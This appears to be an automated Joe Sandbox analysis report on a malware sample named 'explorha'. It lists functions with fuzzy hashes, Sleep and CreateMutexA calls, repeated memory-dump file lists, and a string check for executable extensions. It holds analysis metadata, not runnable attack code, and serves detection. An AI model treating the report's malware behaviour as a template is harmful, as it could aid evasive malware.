Instruction ID: 9c1f6feb8dfaabe3c2aa4a4ce8155ee8502748376d84f1121d87a8e8feaf9844
Opcode Fuzzy Hash: 3d96b12b7beb394d0c2cca203347602259f8afda1fb8f4f1de18959768fd5fd9
Instruction Fuzzy Hash: EF3166B17002008BEB18EB78CD897AEBBB2EF89314F308259E056DB3D5CB759980C751

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9b0cbaf61a9ff5908cec96fa9677671b1f317c656d3c403d254a598ac3779aa5
Instruction ID: 73bfb83e2f5b84b6f30eccfca6c8005dae7b26a794de3009f4cbd4435dcec7ac
Opcode Fuzzy Hash: 9b0cbaf61a9ff5908cec96fa9677671b1f317c656d3c403d254a598ac3779aa5
Instruction Fuzzy Hash: 69318FB17001449BFB08DB78CD897ADBBB2EF95314F308229E466973D6CB755980C762

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c6902d522edb712b92d41ecfb0fee79f19a92d8637daace30cb57ac2499f6411
Instruction ID: c15f0705b2b91ab470b6025da9f4125f8a6589e09dc019b963d96a0868f24f94
Opcode Fuzzy Hash: c6902d522edb712b92d41ecfb0fee79f19a92d8637daace30cb57ac2499f6411
Instruction Fuzzy Hash: 3F3167B27001449BEB08DB78DD897ADBBB2EB95314F308219E4269B3D6C7759A80C752

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA326 Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ea37b04accc4034c6517cc4a09fcd9fec805796c51b45c5f05dd2a616609dbd4
Instruction ID: 647572a2b273ff5e4e17092104a70e6dae8333ab0ccd5119d7d3656bdc8c822b
Opcode Fuzzy Hash: ea37b04accc4034c6517cc4a09fcd9fec805796c51b45c5f05dd2a616609dbd4
Instruction Fuzzy Hash: 20216A723482409BFB28AB68D98F72C76A3EB50300F344417E4469E3D2CBB588C0C267

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9E1F Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2a51a7be21d84527c9c47307d72411b69bec30622aa2baddc99de788c6643833
Instruction ID: 280107ff62c5d33268d14ad0b690e9d5d0d35d16901ebfeb2d2b977d7c17dde6
Opcode Fuzzy Hash: 2a51a7be21d84527c9c47307d72411b69bec30622aa2baddc99de788c6643833
Instruction Fuzzy Hash: FA2189B27046409BFB18DB68DC897ADBBA2EBC5311F304219E41A9B3D4CBB59680C791

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B08829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00B0886B

Strings

.cmd, xrefs: 00B08889
.bat, xrefs: 00B0889A
.com, xrefs: 00B088AB
.exe, xrefs: 00B08878

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
